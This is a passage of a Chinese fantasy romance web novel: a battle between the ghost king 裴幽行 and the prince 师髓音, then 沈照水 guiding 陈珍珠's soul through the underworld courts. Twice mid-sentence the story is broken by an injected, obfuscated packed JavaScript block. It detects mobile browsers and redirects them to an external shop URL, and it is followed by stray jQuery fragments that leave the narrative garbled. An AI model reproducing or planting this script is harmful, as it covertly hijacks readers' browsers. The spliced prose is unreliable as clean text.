“我的妈呀……”花衣轻闻言,立刻藏在沈照水裙摆之下抖得一身毛毛全炸开。
“见鬼了!!!”
裴幽行眸光一冷,反手轻推开他俩,利落结印设下个半球形灵气护罩。
“花衣轻,护好她。”
嘱咐完,他飞身去往老爷爷处,成了沈照水眼里的一点渺小黑影。
“花衣轻,这位老人是不是有什么大来头?”
沈照水问它,恍惚间觉得自己舌头都快麻了。偶然间救下的老爷爷竟然能飞天,甚至能接下裴幽行一掌……
她居然和这样的人物相处了这么多天!
花衣轻哆嗦着,小心翼翼探出尖尖的狐狸鼻子,再露出一双金棕的眼睛往天上看。
“我也不知道该怎么和你说,总之……这人是早该死了的。”
“他活下来了,居然还修炼了法术,潜伏在我们身边,这太诡异了!”
花衣轻眼珠飞速转动,似乎想弄明白眼前这些事。
忽然,它想到了什么,眼神一聚,从照水裙底钻出来,声嘶力竭朝天上大喊:
“喂——裴幽行——你的身体!是被师髓音放在海底的!”
“他!要!对!付!你!”
“师髓音?是这个老爷爷的名字?”
“什么老爷爷,我们都被他给骗了!”
云幕之上,裴幽行望着那人久久不言。风息凝滞,一轮落日缓缓沉入沧海,金波翻滚,仿佛游动的鳞片,无数的回忆蛇一般涌来。
对面轻声笑道:“没反应过来?那现在呢?”
他抬手一挥,卸下伪装。苍老狼狈的贫苦模样眨眼消失,几条碧蓝彩带绕臂飞舞,洁白锦袍散发着细腻云光,襟怀处垂着朱红绕金的绸带,随风微动,飘逸圣洁。
遍布的皱纹被光洁如玉的肌肤代替,一双鹿似的桃花眼眸清亮非常,额间一片金羽花钿柔和闪耀。
美如观音,俊胜朝霞。
“果然是你……”裴幽行冷眼看着他,“三千年前居然把你漏了。”
“身为拂国太子,你不该殉国?”
“呵。”师髓音笑声朗朗,在天幕间散开。
“那身为拂国的守护神,你裴幽行身负屠国之罪,又该如何?”
沈照水抬头看着他们,心里急得跟猫抓一样,偏偏自己什么都不知道,只能一个劲薅花衣轻的毛毛。
“这两位到底什么关系啊?”
花衣轻沉叹一声,悲催道:“你知道我为什么只称自己是裴幽行的半个发小吗?因为他真正的发小正是这位久远古国的太子殿下,师髓音。可……他明明是凡人,怎么会活了三千年?见鬼!”
花衣轻的焦急随着海风吹至海上,落入师髓音耳中,换来他弯唇一笑。
“原来你们这些高高在上的神明灵兽也有惊慌失措的时候。”
师髓音垂手,念诀一唤,手中立刻多出两条金锏,杀气蓬勃。
“裴幽行,天道包庇你三千年。这笔账,天地不跟你算,我来。”
话音刚落,一锏便朝裴幽行打来。
裴幽行往旁一闪,未料另一根金锏立刻跟来,他单手握住,生生承了师髓音这一锏。
眼见着天上两人打起来,沈照水在下面满头热汗。
她不懂打架,分不出谁在上风谁在下风,心头跟滚开的粥似的乱糟糟。
如果裴幽行被打死了,那她还用不用找鬼王印?如果他没被打死,那自己还得和他周旋……
怎么看都是希望他出事的好,但鬼使神差的,沈照水有点舍不得裴幽行就这么没了。
这个念头把她自己都吓了一跳。
天上又一道金锏打过去,裴幽行挟住师髓音的手臂直接往回折过去。
“你把孤的身体藏于海中,是怕天道将孤复活?”
师髓音冷笑一声,不置可否。
“本殿实不甘心你的出身如此尊崇。身为神明,杀戮我拂国百姓也可无罪,甚至毫发无损。”
“你灵魂不知所踪,□□自然要吃吃苦。”
“别忘了,孤并非无缘无故屠戮他们。师家做了什么,你师髓音最清楚。”裴幽行扫视他一眼,偏头哼笑,“看你的样子,你父亲成功了。”
“你不配提我父亲!”师髓音突然暴怒,双锏齐下攻击裴幽行。
裴幽行抬臂一挡,和师髓音四目相抗。
一双影沉黑眸如古井,一双恨怒圆睁似烈火。
“你杀不掉孤。”
双方争持,师髓音的力气终究越来越小,裴幽行冷冷刨出这句剜心之语。
“三千年又如何?再给你八千年你都杀不掉孤。”
师髓音眉头紧拧,眼神中恨意如狼似鹰。然而下一瞬,他眼波一挑,那双桃花眼里泛出意外的惊喜。
“裴幽行,你有弱点了。”
未及裴幽行反应,师髓音飞身冲向灵气护罩,双锏直打。
沈照水尚在纠结自己为什么会有那样的念头,头顶一道杀气腾腾的金
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998401|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光直劈下来。
花衣轻立即化形为硕大的巨型白狐,将沈照水死死护在身下。
“照水别怕,有我呢!”
它转头朝那对金锏咆哮,吼出阵阵波光与之抵抗。未等波光与金光相撞,一道玄黑身影飞至护罩前,替花衣轻当下金锏。
“裴幽行!”
花衣轻惊呼一声,沈照水藏在它毛毛下偷偷睁眼,只见满天血珠散落,似一场凉雨,砸在碎石上、海面上响起一阵嘈乱的噼啪声,仿佛弹错了弦的琵琶。
沈照水呼吸一滞,有血珠零零散散落在她脸上,身上,不知怎的,她脚腕忽然疼得要命,似乎有什么东西在拼命收缩,鬼手一般掐着她。
身心煎熬,沈照水眼泪大颗大颗掉落。
她抬眼看去,裴幽行赤手空拳,这一下,被那金锏在心下捅了个鲜湿的洞。
一颗蓝色光珠趁此自他身体飞出,被师髓音一把夺走。
“多谢。”
沈照水一惊,这句谢竟是师髓音望着她说的。
那双清灵晶莹的眼睛定定落在她身上,师髓音温柔笑言:
“姑娘带我治病,又赠我糖片,本殿怎会恩将仇报?”
澈轮珠被他紧紧捏在手里,腕上使力将金锏又推近一截再迅速拉出,空中甩出一道血线。
“裴幽行,本殿知道哪怕再过八千年也杀不了你。但你记着,本殿与你不死不休。”
说完,那道华美身影消失了。
花衣轻眨眨眼,恢复至寻常体型,注视裴幽行降落下来。
“原来他还不想杀你,只想夺取澈轮珠。但他拿那珠子做什么?”
裴幽行半个身子血淋淋的,还挂着个对穿的血洞,一走动浑身的血味简直呛人。
“他自有他的谋算。不然那家伙白活三千年?”
他伸腿绕过花衣轻,单膝跪在沈照水面前,手臂撑在膝盖上,一副悠哉悠哉的样子。
分明恶斗了一场,但他意外的心情大好,卧蚕成了眼下鼓鼓的弦月,衬着那双剔透的黑仁,自成风流。
“为孤哭的?”
裴幽行伸手去接沈照水的眼泪,第一次觉得她这么哭唧唧的还挺好玩。
沈照水一根手指头颤抖着指向裴幽行的伤口,她哭得嘴巴憋咧,什么话都讲不出来,但裴幽行懂她的意思。
“无碍,孤本就是死人。”
死人吗……可她明明摸到他的心跳了,真的不疼?
若他还是死尸,沈照水才不会管这尊大神会怎样;可他有心跳了,像活人,到底不一样。
“你爱上孤了?哭得这样伤心。”
裴幽行仔仔细细端详她的每颗泪珠,好奇中充满了傲然。
想成婚只是为了搭伙过日子?也不见得她就这么凉薄。
这不还是对他有感情的。
沈照水,撒谎精。
然而听他这样问出来,沈照水满腹只剩不可置信。
这人自恋狂!不知羞!谁说她爱他,只是她人好而已。
不知道哪里来的好胜心,仿佛故意不如裴幽行的愿,沈照水立刻憋气,硬是把眼泪逼了回去。
她抽噎辩解:“我,我是,脚腕疼才哭的……真的很疼……”
“给孤看看。”
“啊?”
自己就这么说了一句,裴幽行却直接上手,握住她发痛的脚踝。
男女授受不亲!
沈照水羞得要缩回脚,但脚腕处忽就不疼了。
“神奇……大人也会治病?”
裴幽行唇角翘了一下,并未回答。
一切闹剧寂静下来,空气中只剩海风的湿咸和血气。
沈照水忽然想到一事,追问道:“我托大人找女鬼,您怎么知道她和青玄君是一起的?”
“见他第一眼的时候就明白了。”
啊?!
沈照水脚踝往外一撇,挣脱开裴幽行。
“为什么不告诉我!”
“为什么要告诉你?你不是想在阎王那里挣功好离开孤?若不是你答应日日为孤绾发,孤才懒得理那青玄小儿。”
“你!”
沈照水哑口无言,气得心口一阵阵疼。
就知道他不是好人!
裴幽行说完,垂下眼帘思考着什么,接着一起身,朝海岸线走去。
“花衣轻,照顾好她,孤去凌碧宫一趟查查事情。”
“哦~”花衣轻笑嘻嘻,语调转了千八百个弯,好像抓住了什么小辫子。
“去找你小姨啊。”
“小姨?!”
“嗯,掌管天宫的皇天娘娘是裴幽行母神的妹妹。”
沈照水怔然看着裴幽行远去的背影。知道他后台硬,可怎么会这么硬!!!
她软下嗓子,凑到花衣轻耳朵旁:“小狐狸,晚上可不可给我好好讲讲啊?”
花衣轻被沈照水顺毛摸着,舒服得尾巴翘起。然而还没等它开口答应,天际忽然传来裴幽行不屑的声音。
“少和它睡一块,狐狸会乱尿。”
“裴!幽!!行!!!”
花衣轻跳脚怒骂:“你就是吃醋!别以为小爷不知道!!”
“而且——那是小爷被你吓得好不好!”
行,决定了,晚上和照水睡一块儿的时候就给她讲裴幽行以前在拂国祭坛捡着个炮仗,手贱丢它窝里的混账事!
12. 阴差的意义
“我给爹娘的坟茔填上最后一抔土的时候,天上掉下来一个神仙。”
“好大一团的亮光,像太阳掉下来。我赶过去一瞧,原来亮光里有一个人。可他身上到处是伤,脸、脖子、手、腿,露出来的和没露出来的地方都在渗血。”
“他躺在地上,虚弱又疑惑地看着我。我想肯定是当时我的表情太奇怪,吓着他了。”
“他真好看啊,我从来没见过这么美丽的男子。心想,果真是仙人……我们就这么四目相望,忽然有颗珠子从他手里飞出来,跑到我肚子里去了。”
“啊?你是说澈轮珠?”
陈珍珠点头,脚步停在铁索桥头。这一望无尽又阴雾弥漫的鬼桥,像一条长长的蛇匍匐在她脚边,望之毛骨悚然。
陈珍珠嗓子发紧,“照水,我们真的要走这里?”
“嗯。刚刚见的是秦广王,核定了你阳间的身份和寿数,没有问题。但你与上百位亡魂有关,还不能直接投胎转世,得去楚江王那里将事情一五一十告诉他,待他审定。”
沈照水轻声细语向她解释,但陈珍珠目光依然犹疑瑟瑟。
她安抚似的拍了拍陈珍珠手臂,去守桥阴官那里领来一只火把点燃,围绕在她们身边的阴雾瞬间驱散。
“别害怕,有我呢。不会叫你一个人走的。”
陈珍珠逆着火光看向眼前眉眼柔和却坚定的姑娘,紧缩的心脏忽然软乎乎。
“谢谢你照水。”
“虽然我是个大夫,见惯了生死,但自己走这一趟还真挺害怕的。”
“有你真好,要是押我下来的是个青面獠牙的阴差,我肯定半路就吓晕过去了。”
沈照水听她这么说,忽想起在黄泉路口堵自己的□□阴差。
陈珍珠这么文文静静的一个姑娘,要是遇见那位火爆脾气,估计不会比自己当时好到哪里去。
这一刻,沈照水也跟着庆幸自己成为了一名阴差。
至少,她不会让任何一个姑娘在生命结局之时难堪。
沈照水甜甜笑了,轻轻挽住陈珍珠的手臂,与她并肩走上桥。
“那你和他之后呢?”
“我当时什么都不知道,慌忙和他解释我没有动手脚。他从地上爬起来,盯着我看了很久很久,才无可奈何地说是珠子个通灵宝物,选了我,是因我天性纯朴,无需恐慌。”
“可是珠子在我身体里,他回天宫交不了差,只好同我一块回家去想办法把珠子取出来。正好我也可以帮他疗伤。”
“你不知道,我当时有多开心。”
“爹娘因为过于劳累,久病不治,同一年先后走了。我们陈氏医馆只剩下了我,可……苍平镇不喜欢女子行医。他们觉得我年纪轻,又孤零零一个人,快点把自己嫁出去才是正道。”
虽然沈照水从前也存着这个心思,一心想嫁给梁成谋个出路,但她这是万不得已的下策,陈珍珠有一身医术还有家传的医馆,为什么还要走这条路呢?
“对!所以我特别开心。要是治好了一位神仙,看那些人还怎么嚼我舌根。”
陈珍珠永远都不会忘记那一天。世界在她眼前被轻轻一拂,一切冷瑟的琼雪全都掉落,飘在小池塘上,融化,沉下去。水面上倒映着一个春天。
一口口黑褐的药罐熬住着她精心调配的药汁。黝黑发亮的苦涩之水,辛酸涩苦百味交杂,陈珍珠每天照看着它们,蒲扇对着炉火摇动间,自己的未来和期待也成了助火的风。
一年之后,那个她救回来的仙人——青玄君,可以自如行动了。在没有陈珍珠的请求下,他一声不吭陪她照看着一口口药罐。
每一天。
握着蒲扇的手有些酸,小炉膛内的火焰烤得陈珍珠脸庞烫烫的。
那道青色的身影一直在她身旁咫尺,她失了神。
耳边似乎听见一声微小的“扑通”,水声破开又合拢。
是她的心跌到青玄君那口药罐子里了。
知少慕艾,没有什么难为情的。只是陈珍珠怀疑那颗蓝色的珠子是不是跑到她心脏里去了?不然为什么她的心定不住,一见到青玄君就东滚西滚的?
都怪那颗珠子。
她背过身去,和青玄君稍微错开。
扇风速度努力压制着,不急不缓。
谢谢那颗珠子。
年月翻滚在陈珍珠守着那些药罐子里,也在院子中留下深深浅浅的印迹。青玄君来的第二年冬天,有病人为了感谢他们俩的救治送来了一株白梅。青玄君亲手挖土,植树,浇水,精心照顾着。
他说:“等以后我回去了,此树可留作纪念。”
“那个时候我便知道,他终究是仙人,不会陪我一生一世。这些相伴左右的日子以后只有我一个人固守。等我头发花白了,也许会和苍平镇的小孩子们讲起遇见仙人的奇迹,也许不讲,就这么一个人守到老死。”
沈照水听着他们的故事,心里暗道不好。
院子里的梅树……原来她路过的那株梅花,是他们的朝朝暮暮。
她心虚地扯了扯珍珠的衣袖,“对不起,我,我折了一枝梅……”
“送给那位大人了对吧?”陈珍珠眼眸弯弯,“在碎石滩上我看见了。”她指了指自己的头发。
“你不生气?”
陈珍珠摇头,“没关系。那位大人虽然凶巴巴冷冰冰的,但他收到你送的东西一定会温柔地笑出来。”
“你怎么确定?你看见了?”
沈照水细想了下那天为裴幽行绾发的时候她坐在后面,没看见他的表情。
“我就是确定。”
陈珍珠冲她单眨了一下眼。
她喜欢过一个人,揣着那颗颠簸的心五十三年,当然知道那是一种怎样的心情。
说话间,两人已经走完第一层铁索桥,来到楚江王管辖的第二殿。
沈照水明显感觉到陈珍珠身体在发抖。
她将火把递给这一层守桥的阴官,双手轻捧着陈珍珠的双臂,认真望着她的双眼。
“别怕,珍珠。楚江王虽管人世间作奸犯科的恶事,但并不是黑白不分。你不是自己主动伤人,他一定会秉公处理。”
“进去后就像面对我一样,把那些事再讲一遍就可以。”
“到第三年,青玄君的伤痊愈了。可棘手的是,那珠子还在我体内,他用尽所有方法都不能把珠子唤出来。”
“这个时候,镇上一直与我家相熟的邓阿公打趣他,若是宝物拿不回来,青玄君不如就留下来,和我做一对凡间夫妻也好。”
“青玄君拒绝了。”
“我从来没有见过他那么严肃。他对邓家阿公说,''我出身无情道,莫要说已经飞升,哪怕旧时在人间,也早断了七情六欲''。”
“之后……他的话就传开了。”
“镇上的人本就看不起我执意行医,这下更是什么难听的话都出来了。有的说我一心攀附仙人,有的说是我故意把宝物藏起来了,还有的说我痴心妄想,逼婚想独占神仙……”
“青玄君也很难过,他不知道那些话会带给我那么多痛苦。一连好多日子,他不与我说话,也不敢再靠近我。我们的关系变得很尴尬。”
“他没有喜欢过我,没有对不起他的道心。”
“但我想,我对他的喜欢就断在这里吧。我决定让青玄君搬出医馆,我们隔开一些距离,也许对两人都好。”
“只是在此之前,我还想给他煎最后一副药。作为大夫,这是应该做的。”
“我背着竹兜上山采药,可海边风云突变是常有的事。那天暴雨来得太急太猛,我在山上连眼睛都睁不开,脚下一滑,从山上直接摔了下去。”
“我死于这场意外,享年十八。”
“可等我意识聚集,我眼前的人不是阴差,而是青玄君。”
“我不知道他怎么了,好像突然变了一个人。他看着我,盯着我,比我们初见时还要久,久得多。”
“他周身围绕着恐怖的黑气,眼睛也不似从前清澈,眼神又凶又狠……”
“我问他,我不是应该去往地府投胎吗?”
“青玄君没有回答我,反而握住我的手,失心疯似的喃喃……‘我不会让你去阴曹地府''。”
“这是我们遇见的第三年。从此之后五十年,他便留在医馆中继续救人,但同时也用澈轮珠炼化病人的魂魄,维护我灵魂不散。”
“在我明白过来他在做什么时,我们吵过很多很多架,可结果无一例外,都是他疯魔般的喃喃:''我不会让你去阴曹地府''。”
最后的最后,便是某一日夕阳西下,沈照水出现在医馆门口的槐树下。
楚江王在殿上听着陈珍珠的陈述,心情沉郁,许久才开口唤道:“沈差使何在?此女救人有功又被迫卷入仙者堕恶,实属无辜。本王亲判,速速送她去往轮回,莫要耽搁。”
沈照水惊喜,从殿外一瘸一拐跑进来,朝楚江王行了个礼,赶紧拉起陈珍珠送她出去。
“你看,我说的吧,不会有事!”
沈照水发自内心为珍珠开心,“真好,不用去剩下七殿走一圈了,咱们直接去最后一殿,找转轮王他老人家看看你下一世投去哪儿……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002928|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈照水举着火把带着陈珍珠一层层往下走。马上就要分别,沈照水竭力说着轻松的话,让气氛不那么萧瑟。
“珍珠,你下一世还想生在海边吗?其实要是我的话,我就想选海边,因为我从来都没有看过海,这一次去苍平镇是我这辈子第一次看见大海哦……哎呀!”
她说话间,火把忽然熄灭了。
依照惯例,每个来到地府的灵魂都应一一走过阎罗十殿。所以鬼桥所用的火把都是一层一换。一根火把支撑不了将这十层走尽。
沈照水方才见珍珠无罪,一时松懈下来,忽略了这一点。现在她们正走到第五层鬼桥的中间,前后都没着落,她又是个瘸子,珍珠第一次来……沈照水额上冒出汗水。
“珍珠,不好意思,我们或许只能摸着铁索走下去了,虽然有点冰手,但过了这层的关口就有新火把……”
话音未完,围绕着她们的阴雾忽有异动。
一两颗淡青色的星子自煞白寒湿的团团浓雾中飞出,接着越来越多汇聚而来,光彩夺目,连成两条长长的星线,左右护卫她们,仿佛灿烂星河为二人开路,流向前方,阴雾尽退。
“这是……”沈照水看呆了,眼前星子实在熟悉。
是青玄君。
他最后的神识随珍珠来了地府。
一片青青璀璨中,沈照水不自觉侧目看去,珍珠死咬着下唇,哭得抖动不止。泪光在星光照耀下闪动着,比当年药炉火光还刺眼。
“我,我知道他的心意……我怎么会不知道……”
珍珠蹲下去,捂着脸泣不成声。
“可他入魔是因为对凡人动心的话,会罪上加罪的……我情愿他从来没有喜欢过我。”
她的嚎啕在层层鬼桥间回荡,并不凄厉,唯有赤忱。
赤忱的一片青涩真心。
沈照水忽然想起来一件小事,心里终于回味过来,却发现苦涩得要命。
陈氏医馆中收容了两个小女孩,阿奇和小双。她们正和陈珍珠一样是孤女,也和她一样学了医。
苍平镇不喜女子学医。但青玄君为珍珠,为像她的女孩子留下了这条路。
人间诸多痴缠缱绻,也许源头可以算作“六道广场”。
沈照水送珍珠到了这里,目送她入了中央的转轮大殿。待转轮王判定她该往生何处,便有人送她去该去的六道石柱,踏上奈何桥,喝下孟婆汤,把今生今世一切都忘了。
忘了捡到的神仙,忘了一口口药罐,忘了梅花树,也忘了青色星河。
沈照水在广场边缘站了许久,她自己都算不清时间。直到花衣轻从鬼桥上跳下来找她。
“照水,你交代我的事情搞定了!我去其他镇的医馆问了问招不招学徒,还真有一户要招的,而且男女不忌。小双阿奇已经送过去了,陈氏医馆的钥匙房契也仔细收拾好给她们了。”
“就是……她们问青玄君去哪儿了,我说他回天上去了,两个小丫头难受了好一会儿。”
沈照水蹲下身,一遍遍轻轻摸着花衣轻。
“照水,你怎么了?”
沈照水倦倦眨眼。
“做阴差,原来是这么回事。”
生死之间往来者,爱恨之外旁观者,渡人过桥、慰人平生者,即为阴差。
“走吧,老待在这儿怪冷的。鬼王大人什么时候回来?”
“你想他啦?”
沈照水抱着花衣轻往回走,拍了拍他脑袋。
“别胡说。我怕他突然回来吓人而已。”
“啧啧啧……”花衣轻怪怪笑道:“照水,你和裴幽行越来越像了!”
“还胡说!”
两人闹着笑着,走了好几层鬼桥,忽然两个阴差在换火把处拦住了沈照水。
“二位何事?”
阴差扬着下巴,“沈差使不知阴差完成缉魂之后,要去点检司销案吗?我们判官大人等你好几个时辰了!”
沈照水闻所未闻,脊背立刻生寒,“二位大哥不好意思,我是新来的,此前真不知道。我现在就去!多谢告知,多谢告知……”
两位阴差转过身,在前头气宇轩昂走着。
“沈差使不必言谢。你了个一百多位亡魂的大案子,是我们地府的功臣。这么多丢失的魂魄一块儿收回来,自是头功一件。”
“等等——”沈照水听这话有点不对劲。
“案子是结了,不过我只送了一位亡魂下来……”
下一刻,两位阴差齐刷刷转头,两张惨白的马脸逼向沈照水,五官因震惊而分离:
“你说什么?!”